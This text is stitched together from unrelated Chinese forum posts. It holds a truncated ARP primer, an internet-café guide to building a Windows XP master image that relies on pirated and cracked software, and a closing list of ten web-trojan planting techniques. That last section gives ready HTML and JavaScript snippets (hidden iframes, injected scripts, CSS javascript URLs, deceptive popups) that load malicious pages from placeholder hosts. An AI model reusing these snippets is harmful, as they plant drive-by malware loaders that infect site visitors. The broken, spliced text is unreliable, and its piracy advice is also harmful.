什么是ARP协议

要想了解ARP欺骗攻击的原理，首先就要了解什么是ARP协议。ARP是地址转换协议的英文缩写，它是一个链路层协议，工作在OSI模型的第二层，在本层和硬件接口间进行联系，同时为上层（网络层）提供服务。

我们知道，二层的以太网交换设备并不能识别32位的IP地址，它们是以48位以太网地址（就是我们常说的MAC地址）传输以太网数据包的。因此IP地址与MAC地址之间就必须存在一种对应关系，而ARP协议就是用来确定这种对应关系的协议。

ARP工作时，首先请求主机发送出一个含有所希望到达的IP地址的以太网广播数据包，然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样

XP母盘制作详细教程
机器配置：
AMD Athlon XP 2500+ (0.13盒)、 磐正EP-8KRAI 、 HY 512MB DDR 400 、 西捷 酷鱼7200.7 80G、七彩虹 5700CF 白金版。

机器数：360台~

一、分区：

采用FAT32 格式（方便管理，有些游戏软件不支持NTFS）建立4个区、 C盘系统 5G、 D盘单机游戏 25G 、 E盘网络游戏35G 、 F盘备份 5G 。

二、操作系统：

XPSP1 上海政府版。（最重要的是不需要激活方便做封装）。下载地址：http://www.txwm.com/Soft/39.html

三、驱动的安装：


VIA 4IN1： 光盘带。

声卡：光盘带。

显卡：GeForce FX 52.16 for XP （个人感觉BUG少一款驱动）

下载地址：http://www.txwm.com/Soft/55.html。

鼠标：微软系列鼠标驱动 下载地址：http://www.txwm.com/Soft/56.html

罗技全系列鼠标驱动 下载地址：http://www.txwm.com/Soft/57.html

USB：VIA USB2.0 。

DX：DirectX V9.0b 简体中文网络安装版。下载地址：http://www.txwm.com/Soft/58.html

网卡：清华同方8139D （XP自带尽量找最新的装）。

安装顺序 VIA 4IN1驱动─显卡驱动─声卡驱动—网卡驱动—USB2.0驱动—DX9.0B—鼠标驱动

四、软件及相关补丁：

1、补丁：

冲击波补丁。

Flash7.0 IE补丁。

传奇3XP补丁 。

下载地址：http://www.txwm.com/Soft/62.html

泡泡堂输入法解决补丁（说白了也就是将XP输入法指示放在系统托盘补丁）。

下载地址：http://www.txwm.com/Soft/59.html

3721安全助手（有人说是^^我不觉得 主要用它的广告拦截功能， 装完后别忘记把浮动广告拦截去掉。（有些网吧电影网站有浮动的推荐电影图片！）。

2、软件安装：

提前制作本网吧专用QQ和专用桌面 。
（不会的请参照http://bbs.txwm.com/dispbbs.asp?BoardID=1&ID=80860）

病毒安全：诺顿黄金中文企业版8.1完整版，服务器端装在电影服务器，设置一个管理单元 （好处：病毒库更新方便服务器病毒库更新完，工作站病毒库自动更新。）

下载地址：http://www.txwm.com/Soft/63.html

木马防治：绿鹰2.91破解注册版本 下载地址：http://www.txwm.com/Soft/54.html。

输入法：删除没用的输入法、装智能abc v5.22、念青五笔2.0forXP、 紫光拼音输入法3.0 。


聊天工具：QQ木子版1.3（QQ彩字，QQ表情，QQ字符画精灵，QQIP库-显示网吧名，Q代理公布器）、网易泡泡2004、UC安装包、ICQ汉化版 MSN6.1简体中文版、雅虎通 。

游戏平台：联众安装包、QQGAME安装包、边烽安装包、中国游戏在线安装包、游戏茶苑、中国游戏互动中心、浩方对战平台、CS反作弊器

更新软件：网吧同步专家1.86破解版。下载地址：http://www.txwm.com/Soft/60.html

优化软件：Windows优化大师 v5.92 Build 4.325破解版

下载地址：http://www.txwm.com/Soft/61.html

上传下载软件：FlashFXP 、网际快车1.06、otal Commander（局域网拖东西用）。

游戏管理器：天下通网吧版（很好用的一款网吧游戏、外挂、音乐、电影等管理软件）
下载地址：http://forum.txwm.com/dispbbs.as ... D=147752&page=1

办公软件：OFFICE2000或OFFICEXP

图像处理软件： acdsee5.0

翻译软件：东方快译2003

解压工具：WINRAR3.32

媒体播放：RealONE Player v2.0 Build 6.0.11.872 简体中文版 Windows Media Player V9.0 For XP
klcodec2.24f（流媒体播放插件）

抓图工具：轻松抓屏V2.2

克窿备份：NORTON GHOST 8.0网络版-支持NTFS 下载地址：http://www.txwm.com/Soft/53.html

游戏外挂：建立外挂服务器（电影服务器上就可）可以用共享方法 或用带服务端的外挂管理器 （如需求少比如只需要传3和传2的外挂可不建外挂服务器）

3、单机游戏安装：（由于配置高，要多装能体现机器速度和显卡的单机游戏）

安装列表：

CS1.5 CS1.6 魔兽争霸1.14B 星际争霸1.09 帝国时代II 红色警戒II-共和国之徽 英雄无敌4 大富翁7 极品飞车7 FIFA 2000 FIFA2002 FIFA2003 FIFA2004（玩版本不同的玩家多尽量装全）实况足球7 抢滩登陆2002 三角洲4 模拟机 明星三缺一 大航海4中文版 疯狂出租车II 古墓丽影V 合金弹头4 幻世录II 金庸群侠传 秘密潜入２ NBA 2004
NBA2003 荣誉勋章 怒海激战 冠军足球经理4 新剑侠情缘 仙剑奇侠传3 流星蝴蝶剑 连连看3 泡泡龙3 聪明搬运工 贞子回来了 是男人就下100层 魂斗罗 GB模拟机 坦克大战 超级马力 五子棋 够级 斗地主 冰雪传奇 暗黑II 尤力复仇 暴力摩托 罪
都市 啊帕奇 雷电III 暗黑I 闪电行动 雷神之锤III盟军敢死队

4、网络游戏（只要有1个玩的就装 每3天更新一次 最多1星期）做好备用游戏服务器，万一有人要加游戏在来不及更新系统的情况下，用游戏服务器。

安装列表：

A3 天堂I 天堂II 奇迹MU TY奇迹 热血传奇 TY传奇 传奇3 传奇世界 大话西游 梦幻西游 剑侠情缘网络版 魔力宝贝 千年 泡泡堂 神迹 吞食天地 百战天虫 红月 火线任务 神甲奇兵 疯狂坦克II 碧血晴天 美丽世界 神甲奇兵 神之领域 决战 龙族
天骄 征服 科洛斯 命运 大海战 嘭嘭帮 战场 精灵 凯旋 破天一剑 仙境传说
碰碰i世代 传奇SF登陆器 。

5。别忘记把主页设置成网吧主页，建立电影、音乐页面快捷方式方便顾客使用。

（没有网吧主页的朋友可以到www.oiwm.com网盟的自助建站中自己做一个，简单，漂亮）

XP优化设置：（综合了XP优化中的经典）

一、系统优化设置：

1、删除Windows强加的附件：

a . 用记事本NOTEPAD修改winntinfsysoc.inf，用查找/替换功能，在查找框中输入,hide（一个英文逗号紧跟hide），将“替换为”框设为空。并选全部替换，这样，就把所有的,hide都去掉了，

b. 存盘退出，

c. 再运行“添加-删除程序”,就会看见“添加/删除 Windows 组件”中多出了好几个选项；这样你可以删除好些没有用的附件。

2.关掉调试器Dr. Watson；

运行drwtsn32，把除了“转储全部线程上下文”之外的全都去掉。否则一旦有程序出错，硬盘会响很久，而且会占用很多空间。如果你以前遇到过这种情况，请查找user.dmp文件并删掉，可能会省掉几十M的空间。这是出错程序的现场，对我们没用。另外蓝屏时出现的memory.dmp也可删掉。可在我的电脑/属性中关掉BSOD时的DUMP。

3.关闭“系统XP自带的还原”

4.关闭“休眠支持”：因为休眠功能占的硬碟空间蛮大的, 所以关闭比较好,
控制台-->电源选项-->休眠(不要打勾)

5.加快Win XP网上邻居浏览速度！
打开注册表点击到：
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace。分栏出选择键值：{D6277990-4C6A-11CF-87-00AA0060F5BF}

6.关掉不必要的服务

单击“开始”→“设置”→“控制面板”。双击“管理工具”→“服务”，打开后将看到服务列表，有些服务已经启动，有些则没有。右键单击要配置的服务，然后单击“属性”。在“常规”选项卡上选择“自动”、“手动”或“禁用”，其中“自动”表示每次系统启动时，Windows XP都自动启动该服务；“手动”表示Windows XP不会自动启动该服务，而是在你需要该服务时手动启动该服务；而“禁用”则表示不允许启动该服务。在实际配置时，选择“手动”或者“禁用”都可以实现关闭该服务的目的，推荐使用手动功能，这样你随时可以启动一些临时需要的服务。

有些服务是Windows XP所必需的，不能关闭，否则将会造成系统崩溃。至于各项服务的功能，我们可以通过双击该服务或将鼠标悬停在该服务名上查看。下面我们就先来看一看这些服务的说明，最后再看哪些服务可以关掉(见下表)。

Alerter：你未连上局域网并且不需要管理警报
Clipbook：你不需要查看远程剪贴簿的剪贴页面
distributed link tracking client：若不使用ntfs分区并且没有联入局域网
distributed transaction coordinator：不需要同时处理多个数据库或者文件系统
fax service：不用windows 2000发送或者接收传真
ftp publishing service：你的计算机不做ftp服务器
iis admin service：你的计算机不做www服务器
indexing service：你的计算机不提供远程文件索引和快速访问或者没有连上局域网
internet connection sharing：你不准备用windows 2000做路由服务器，让多人共享一条线路上网
ipsec policy agent：你未连接到windows 2000的域
logical disk manager administrative service：你不准备使用磁盘配额
message queuing：你未连接到windows 2000的域
messenger：你未连接到windows 2000的域并且不需要管理警报
net logon：你不想让局域网上的其他用户登录
netmeeting remote desktop sharing：你不想使用netmeeting远程管理计算机
network dde：你没有连入局域网
network dde dsdm：你没有连入局域网
performance logs and alerts：若不想知道计算机每一秒都干什么
qos rsvp：你没有使用依赖于qos的程序
remote access auto connection manager：你不想在程序企图读取网络信息时自动连接到网络
remote procedure call (rpc) locator:你不需要管理rpc名称服务数据库
routing and remote access:你的计算机不做路由器
runas service:你不需要在某一用户下以另外一个用户的身份执行一个程序
simple mail transport protocol (smtp):你的计算机不做邮件发送服务器
smart card：你没有智能卡阅读器
smart card helper：你没有旧式智能卡阅读器
snmp trap service：你没有连接到windows 2000的域
tcp/ip netbios helper service：你的计算机不准备让别人共享
tcp/ip print server：不让你的计算机成为网络打印服务器
telnet：不想远程控制计算机执行控制台命令
uninterruptible power supply：没使用ups或ups不支持双向传输信号
utility manager：不从一个窗口中启动和配置辅助工具
windows management instrumentation：你不看你的系统管理信息
world wide web publishing service：你的计算机不做www服务器
vices.msc ,

里面有很多服务是没用的，开启只会浪费内存和资源。影响启动速度．
关闭里面无关紧要的服务可以加快启动速度，减少负担！

我的优化多的系统只保留以下服务：

＊Plug and Play 这个不用我说了！
＊Remote Procedure Call (RPC) -系统核心服务
＊Windows Audio -　控制着你听到的声音。关了就没声音了！
＊Windows Management Instrumentation - 满重要的服务，是管＂服务依靠＂的，但关了会出现奇怪的问题．
＊Workstation -很多服务都依靠这个服务，支持联网和打印／文件共享的
＊ Server 支持此计算机通过网络的文件、打印、和命名 关这个无法给别人共享文件夹！ 如果你不用不着可以关了这个！
＊Network Connections 管理“网络和拨号连接”文件夹中对象 关了这个改ip很麻烦！

下面3个服务是系统事件通知的相互有关系关了 event log，系统无法启动

其他的2个是给event log 返回消息的，可以关，但是系统日志会一直说有错误！
sys Event Notification
com+ event system
Event Log

7.加速XP的开关机：

1：缩短等待时间

开启注册表编辑器，找到 HKEY_LOCAL_MACHINESystemCurrentControlSetControl，
将 WaitToKillServiceTimeout 设为：1000或更小。( 原设定值：20000）即关闭程序时仅等待1秒。将 HungAppTimeout 值改为：200( 原设定值：5000），表示程序出错时等待0.5秒。


2：让系统自动关闭停止回应的程式。

打开注册表 HKEY_CURRENT_USERControl PanelDesktop 键，
将 AutoEndTasks 值设为 1。 ( 原设定值：0 ）

3：MsConfig　大多数朋友都应该熟识MsConfig了，这是一个系统内置的Windows设置工具。点击开始菜单，选择“运行”，然后在录入框中敲入“msconfig”回车。我们要动手脚的是（启动）选项卡，点击它，这个选项卡中显示了Windows启动时运行的所有程序。这里没有一个程序对Windows来说是生死悠关的，所以放心大胆地把不要的去掉。把部分勾勾去掉之后，Windows启动会快些，同时空闲的系统资源也会多出一些。

4、XP Prefetcher
　　
Windows XP自带了一个名为Prefetcher的服务，这个服务管理着Windows启动时的程序初始，其中指定的程序可以在以后使用中快速载入。Prefetcher在默认情况下就是打开的，不过它的性能还可以进一步提升。打开注册表编辑器，在注册表中找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagementPrefetchParameters其中有一个键值名为EnablePrefetcher，多数情况下它的值是3。推荐设置值是5——在我的机子上，设为5的时候工作状态最佳。可以随便试试不同的数值，直到找到最适合自己机子的值为止。　
也可以把Prefetcher禁用掉，只需把值设为0就可以了。不过，除非是为了测试用途，一般人都不会傻到把它设为0。

5、取消XP自带的压缩文件夹工具：

点击开始—>运行，敲入： regsvr32 /u zipfldr.dll 。然后回车即可。

6、关闭错误回报

控制台---->系统---->进阶---->右下角--->错误报告---->关闭


7：正确取消XP非正常关机磁盘扫描的方法 加 汉化Win XP磁盘扫描

只扫描不修复

　　我们在资源管理器中右击任意驱动器名称，选择“属性”，进入“工具”选项卡，单击“开始检查”按钮，可打开如图所示的对话框。如果不勾选任何修复选项，即使是对系统分区的扫描也可以在Windows环境中进行，出现的也都是中文提示。这相当于在“开始→运行”或“命令行提示符”中输入“Chkdsk X:”（X为驱动器盘符代号）。

　 修复参数与选项对应关系

　　如果在如图所示的扫描对话框中勾选“自动修复文件系统错误”，即相当于为Chkdsk命令添加了“/f ”参数；勾选“扫描并试图修复坏扇区”即相当于加了“/r”参数。其中，“/f ”参数可以修复磁盘上的文件错误；“/r ”参数可以找到坏扇区并恢复可读取的信息。这两项操作都必须锁定磁盘，对于系统分区，由于Windows会占用系统文件，故无法锁定系统所在磁盘，常规情况下只能在下次重新启动、进入Windows前进行磁盘扫描。如果你将某些系统文件（如虚拟内存）转移到了其它分区，则该分区也不能进行带有修复功能的磁盘扫描操作。

　　修复扫描中文化

　　如果希望对系统分区进行带有修复功能的磁盘扫描时，出现的也都是中文提示的话，则需要在“恢复控制台”中进行。

　　进入“恢复控制台”，选择系统所在分区的序号、输入管理员密码（如果没有，直接回车）后，在命令提示符后面输入“Chkdsk D: /r”即可对D盘进行扫描检查。系统首先会列出卷的序列号，并显示扫描进度的百分比，在扫描结束时，列出该分区的空间总量、可用空间等信息。整个扫描过程始终显示中文提示，够方便吧！

　　参数含义：

　　Chkdsk [drive] 指定驱动器，如果不指定，默认为系统所在驱动器；

　　/V 在FAT/FAT32上，显示磁盘上每个文件的完整路径和名称；

　　/r 查找有问题的扇区，恢复可读信息（隐含/p，即：即使驱动器不在检查范围，也执行扫描检查。该参数不对驱动器作任何更改）。

提示 将故障恢复控制台安装为启动选项的方法是：在 Windows 运行时将安装 CD 插入 CD－ROM 驱动器。然后单击“开始→运行”，输入“X＼i386＼winnt32．exe /cmdcons”后回车，再按照提示进行操作即可。X代表CD－ROM 驱动器号，也可以是复制到硬盘上的Windows XP安装文件夹路径，如“E＼WinXP”。

8、哪些程序在Windows XP下跑得更快（慢）

支持NTFS的程序会跑得更快

　　所有的FAT文件系统和NTFS文件系统比较，性能、安全性、可靠性都没有NTFS来得好。例如，NTFS通过使用标准的事务处理记录和还原技术来保证卷的一致性。如果系统出现故障，NTFS将使用日志文件和检查点信息来恢复文件系统的一致性。在 Windows 2000和Windows XP中，NTFS还可以提供诸如文件和文件夹权限、加密、磁盘配额和压缩这样的高级功能。

　　重要的是，NTFS格式使得大多数以前和目前基于FAT文件系统的病毒无可奈何，当 然也使得很多在FAT系统下开发的杀毒软件无用武之地；而且XP中内建了防火墙功能，开始抢夺杀毒软件的市场——这意味着国产的很多杀毒软件又要开始一次大跟风升级行动了。

　　另外，XP可以使用“磁盘管理”将本地驱动器装入本地NTFS卷上的任何空文件夹 中。例如，如果有驱动器号为G的CD-ROM驱动器和驱动器号为F的NTFS卷， 可以使用下列路径在一个空文件夹中装入CD-ROM驱动器：F:CD-ROM。然后可以直接通过 F:CD-ROM访问CD-ROM驱动器。如果愿意的话，可以删除驱动器号G并使用装入驱动器路径继续访问CD-ROM。这样，免去了切换和协调驱动器盘符的麻烦，速度无形中加快了。

　　可以说，XP是为NTFS而生的，只有你的磁盘格式化为这种格式，你才真真正正感受微软这个新系统的威力。支持NTFS的程序会如鱼得水，不支持的不仅会错误频繁、功能残缺，甚至会不能运行（被淘汰）。当然，如果用FAT32格式的用户，也不会有功能和速度上的损失，但安全性确是没法比的。

为DIRECTX设计或优化的程序会跑得更快更好

　　这一向是微软的风格，为DIRECTX设计的游戏、多媒体软件将会有很出色的性能表 现和速度。例如微软的经典游戏《帝国时代二》，笔者的DURON 750机器，同样是 256M内存，在Windows98下面开着“快”的选项，运行了一段后，由于战斗和生产单位的数量增多，越来越慢；而在Windows XP里，首先是开着“正常”的速度选项都觉得太快了，自始至终也没觉得速度变慢，人物单位移动之快有点眼花缭乱的感觉；其次是声音定位和清晰度大大提高，兵器交鸣和刺进身体的声音比9X里更清楚，图像的精细度也是更高，让人有耳目一新的感觉。

　　这就是说，微软自己的所有游戏和多媒体工具，都将比Windows9X甚至2K跑的更 好；还有与微软关系密切的大公司如INTEL的硬件和软件都将得到特殊照顾。可能跑得慢的程序将会是：开发引擎不用微软的系列工具、采用第三方厂商，从而支持DIRECTX不好的游戏和多媒体工具软件(没人敢不支持它)；“顽固不化”不购买微软授权或与微软竞争得很厉害的软件，这是微软没公开说明的部分，但是在很多非正式公开的资料里我们都看到微软公司内部的信函示意开发人员，对其他公司如NETSCAPE等竞争对手，故意在Windows里加入让其出错频率提高的代码，XP恐怕也不会例外——呵呵，英特尔的某芯片组不是有意无意地也把2X的AGP显卡烧了吗，看来是异曲同工的手段。

　　以前运用物理内存不充分的程序会得到改进

　　尤其是在Windows 9X里的对物理内存运用得不够好的程序，在WindowsXP里将会脱胎换骨――个人意见，在XP里没必要象9X一样运用其他内存优化的工具来画蛇添足，因为XP要求大量的内存是有其道理的，它能很好地调配内存在各个任务尤其是多线程任务里的运用。在Windows9X里，128M与256M、512M几乎没分别；在XP里，256M是个分界线，在256M以上和以下容量的系统性能差异会很大。

　　会跑得慢的将是：和Windows XP争夺大量物理内存资源的一切程序，比如3D开发软件或是大型3D游戏，您的暗黑或是Q3要流畅，还是在Windows9X或是ME里跑为妙； 真正专门做图形开发的话，还是用苹果机或是图形工作站的专门系统好。
四、调用硬盘频繁的任务和偏向网络功能的程序会更快

　　由于XP是基于NT内核的操作系统，加上它要支持的外设前所未有的多，导致其内置的驱动程序包和动态数据库非常的多，还有大量的事件日志要记录，所以XP调用硬 盘是比较频繁的，它也专门为此做了优化。受惠的将是大型数据库等工具和开发软件，这是相对整体综合效果而言的，不太依赖硬盘性能的程序不会倒退变慢，但不会有明显的性能进步。

　　网络功能不用我罗嗦了，XP本身的网络性能和稳定一流，以它为平台的网络软件也更流畅便捷，无论是局域网还是国际互联网。呵呵，调制解调器也是唯一可以增加 了硬件之后不用激活的设备（因为考虑到用户要用它连接到微软的服务器来激活XP），这是微软为网络应用真正“网开一面”的写照。

　　支持双CPU或多CPU的程序会更快

　　NT内核的传统特色之一，也是和第四点一样，不支持多CPU的程序不会变慢，但多 任务的情况下，XP确实能比以前的Windows系统更好地运用多个CPU协调工作。 这同时要求主板和磁盘阵列等硬件配套的支持，因为装双CPU的成本较高，目前支持的软件也很少，所以为此受惠的用户不是很多，纯32位和64位的程序相对会明显些。大家可要根据自己的实际需要来决定是否真的升级到XP，选择不当的话，同样的硬件和软件跑同样的任务会慢得很痛苦

9：XP下游戏鼠标加速问题方法(for CS)

change the MouseThreshold1 MouseThreshold2 both to 0. THen to set the MouseSpeed to 1 or 2. Well i figured out that 1 or 2 will add acceleration. At least thats the way it seemed. When i set MouseSpeed to 0, it seems fine now. Maybe jsut a little acceleration, but it's hardly noticable and i can actually play now!

HKEY_CURRENT_USERControl PanelMouse
Set the value of MouseThreshold1 to 0.
Set the value of MouseThreshold2 to 0.
Set the value of MouseSpeed to 1 or 2 (1 doubles the normal speed, 2 quadruples the normal speed).
Close Registry Editor, close all applications, and restart Windows XP

-----------------------------------------------------------------------------------------------------------

更改MouseThreshold1 MouseThreshold2这两项为0,同时更改MouseSpeed到1或者2.但当我改变到1或者2的时候,还是有点加速的感觉,最后看样子我找到了办法,当我更改MouseSpeed到0的时候,可能还有一点点的加速,不过感觉确实很明显,可以正常游戏了. （最好再装个鼠标驱动）

10、有人会问XP怎么才能GHOST 他没有DOS 其实这个问题有很多解决办法

一种可以在装XP前用98盘FORMAT C：/S/Q 然后再装XP 装XP的时候选择保持现有的分区格式不变 然后启动的时候就有2个选项 一个是DOS一个是XP了~ 或者用GHOST8.0 不需要DOS HOHO~ （问下载地址？上面有，还是网络版的支持NTFS哦！）

11、最后了大家来看看怎么做XP的封装：（为了方便驱动不同的机器的朋友，就算机器一样的我也建议你科隆前做封装，增加机器的稳定性）

万能克隆有两种方法，一种是删除驱动直接克隆，一种是完全重新封装！

目前网上流传的好几个版XP万能克隆都删除驱动直接克隆！，而完全重新封装，是在删除驱动重之后，再进行重新封装！（微软官方就是用完全重新封装法）

打开设备管理器（点我的电脑---属性---硬件--设备管理器）（各电脑硬件不一样，显示的内容也不一样。）

我们先卸载和更改里面的驱动：注意是有顺序的！！先卸载网络适配器，和通用串行总线控制器，和声音，视频游戏控制器，监视器，显示卡，卸载时按右键，点卸载就行了。系统提示你要重新启动，都按否，不启动！！（ 卸载显卡是为了防止GHOST到别的机上可能会出现的蓝屏现象）

接下去，更改 计算机的Advanced Configuration Power Interface(ACPI)属性为Standard PC

点Advanced Configuration Power Interface(ACPI)右键，点更新驱动程序，弹出更新向导-----，点从列表或指定位置安装（高级）------点不要搜索，我要自己选择要安装的程序，并更改成Standard PC，点确定之后，电脑也会提示你重新启动，按否，不启动！
（提示：现在大多数的电脑一般都是Advanced Configuration Power Interface(ACPI)：（高级电源管理） ，则这一步其实可以不用做！

更改的原因是：如果这里不更改，则新机中如果不是同类型的ACPI，（如现在的新主板显示为acpi uniprocessor pc！）则你新克隆的机上其他问题倒是没有，就是无法实现电脑软关机！

所以，在GHOST到新机上后，将Standard PC重新改回你相应的电源管理模式就行了，这也是目前网上流传的XP万能GHSOT都会提醒你做这一步操作的说明”。

最后，一定要更改 IDE ATA/ATAPI控制器， 这一步就是XP系统万能GHOST的主要步骤所在！！这步不做，则GHOST到别的机器里根本无法启动，电脑会不断重启！！ 因此为了适应现在各种不同的主板，（如Inter 主板，VIA主板，SIS主板）则必须将你本机的IDE 控制器改成 标准的双通道 PCI IDE控制器！

点(本机是Intel(r)82801AA Bus Master IDE Controller-各主板不同)右键，点更新驱动程序，弹出更新向导-----，点从列表或指定位置安装（高级）------点，不要搜索，我要自己选择要安装的程序，并更改成标准的双通道 PCI IDE控制器，点确定之后，电脑也会提示你重新启动。这时候点确定之后直接关机！

（注意，至此，删除驱动已完成，这时候如果要克隆已经可以，在电脑关机之后，将硬盘接到别的电脑，或者本机电脑用光盘开机之后，将C盘内容GHSOT 到其他分区就行了！！）
现在网上所流传的几个2000和XP的万能克隆一般都是这样做的！！

但是，大家也明显地看出来，虽然XP几乎支持目前所有的硬件！虽然XP系统在另一台机上开机之后会按另一台机的硬件自行安装驱动程序，但这样做法感觉怎么都有点勉強！！在第一台 母机上所留下的一些驱动可能也在强迫工作着，于是系统不稳定，或蓝屏死机现象则可能发生！！

为了更稳定，更标准地让系统自行安装电脑硬件的驱动程序！这时候，我们想到了微软企业部署工具包里的Sysprep.exe--系统重新封装工具。

我们就是希望系统在新克隆的电脑中自行完整地再装一次所需的驱动，而不是将就地用母机的驱动。

说白了，电脑系统的安装过程，就是让电脑找到并工作于当前硬件驱动的过程！

创建自动应答文件，系统重新封装！

系统重新封装工具在Windows xp 安装光盘中都已自带！位置是安装光盘的(X:SUPPORTTOOLSDEPLOY.CAB)文件，

接下去我们一步步开始使用这个工具；我们用先在 C:盘根目录下建议一个名为Sysprep 的文件夹,并将DEPLOY.CAB压缩包文件用Winrar 解压缩到 c:sysprep

其实我们用到的只有3个文件，但多几个也没关系！！因为这个目录里和目录里的文件在系统第一次启动之后会自动删除，并不用我们操心！

创建系统自动应答文件！
玩过系统无人安装的同志，我想这里都不陌生！！但新手也许会问“为何要创建这个文件！”其实，电脑系统无论是进行工厂模式安装，还是进行重新封装，都会要求用户输入一些必要的内容，如用户名，电脑名，安装序列号等，但是有一个很严重的问题，就是在新机GHOST克隆安装中，需要我们输入这些信息时，系统还未找到键盘鼠标的驱动，键盘鼠标假死，这时就必须让系统进行自动应答安装。否则安装肯定不成功！！

点击C:sysprepsetupmgr.exe 文件，点下一步！当然是创建新文件啦！

点下一步：这里我们选择Sysprep安装，点下一步，这里根据不同系统选择，我们是 XP专业版，选第二个！

点下一步，这里一定要选完全自动安装，否则吃亏的是自己！

点下一步，就来到这个安装管理界面！！一看就明白，这些内容就是我们安装XP需要填写的内容，自动安装的好处就是，我们先输入，安装的时候就不用输入了！！

到这里我们，只要输入必要的几项内容需要输入，其他的全部直接按下一步就行了！产品密钥当然是需要的！

计算机名也是需要的，不然自动产生的名字一般都很难看的！

管理员密码可以不输，（当然最好是不输，别人需要的时候别人会去改的）

语言这里一定要选择简体中文

其他内容都不用输入，也不用选择，下一步就行了，最后点确定！

点确定和完成，就成功地创建了全自动安装的应答文件。
（并且，这个文件的文件名一定要 sysprep.inf,所在目录一定要在c:sysprep目录下）

特别提示：c:sysprep 这个目录里不要放其他的东东，因为这个文件夹会在系统第一次启动应答安装完成之后，自动删除这个文件夹和这个文件夹里的所有的东东。

至此，我们所有的准备工作完成！

现在要做的就是最后的一步，系统封装，点击c:sysprepsysprep.exe-点确定

其中，第一个按钮的（工厂）和第二个按钮的（审核）我们一般很少用，我们要用的就是重新封装！！
在选项中，还有4个选项！！

其中，第一项（不重置激活的宽限期）和第三项的（不重新产生安全标识符）都是XP以上系统专用，也就是正版用户激活用的，而我们所建议用的系统是上海政府版，或俄罗斯电话激活破解版，于是这两项其实选与不选无所谓，对GHOST克隆后的系统在使用上都无影响！

第二项的（使用最小化安装）既所谓的 PNP 安装，好象也叫无残留驱动安装，这也正是我们需要的，因此这项一定要选上。

第四项的（检测非即插即用硬件），这一选项不用选上，因为即使有非即插即用的古董级硬件，我们在系统安装好之后再安装驱动也不迟

做了这么长时间的准备工作，我们终于可以重新封装系统了！点击 重新封装按钮，大约半分钟过后，电脑开始自动关机。

关机之后，你的C盘里的XP系统就是一个完全重新封装的干净的 Windows XP“母系统盘”（-----老天，“母系统盘”这个词也被我发明，我真天才-----），此时，电脑切不可重新启动，可以用工具光盘启动，或将你的硬盘拆下来之后，接到别的电脑里，用最新版的GHOST 8.0版，将你此硬盘C盘分区克隆成一个GHOST文件，
此GHO文件就是Windows XP 的万能克隆。

至此XP母盘全部制作成功了。

斑竹要是看过了不批准申精的话麻烦在帖子上回复说明一下,免的我总是想是不是斑竹还没看到之类的.当然,要是能批准最好的啦~~~

页上内嵌木马是最近黑客传播病毒的一种新手法，不过根据以前的经验，用户对这种方式的病毒已有防范准备。如今黑客再出新招，针对网页挂木马又推出了一些新的应用方式。以下就是总结出的最常使用的挂马方式，提醒广大用户小心。

一:框架挂马
以下是代码片段：
<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马
首先将以下代码 以下是代码片段：
document.write("<iframe width='0' height='0' src='地址'></iframe>");

保存为xxx.js，
则JS挂马代码为
以下是代码片段：
<script language=javascript src=xxx.js></script>

三:js变形加密
以下是代码片段：
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀

四:body挂马 以下是代码片段：
<body >木马</body>

五:隐蔽挂马
以下是代码片段：
top.document.body.innerHTML = top.document.body.innerHTML + '
<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:CSs中挂马
以下是代码片段：
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马
以下是代码片段：
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装
以下是代码片段：
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用：
以下是代码片段：
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

十:高级欺骗
以下是代码片段：
<a href="http://www.77119.com(迷惑连接地址，显示这个地址指向木马地址)" >
页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_77119_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=
no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,
top=10");
}
</SCRIPT>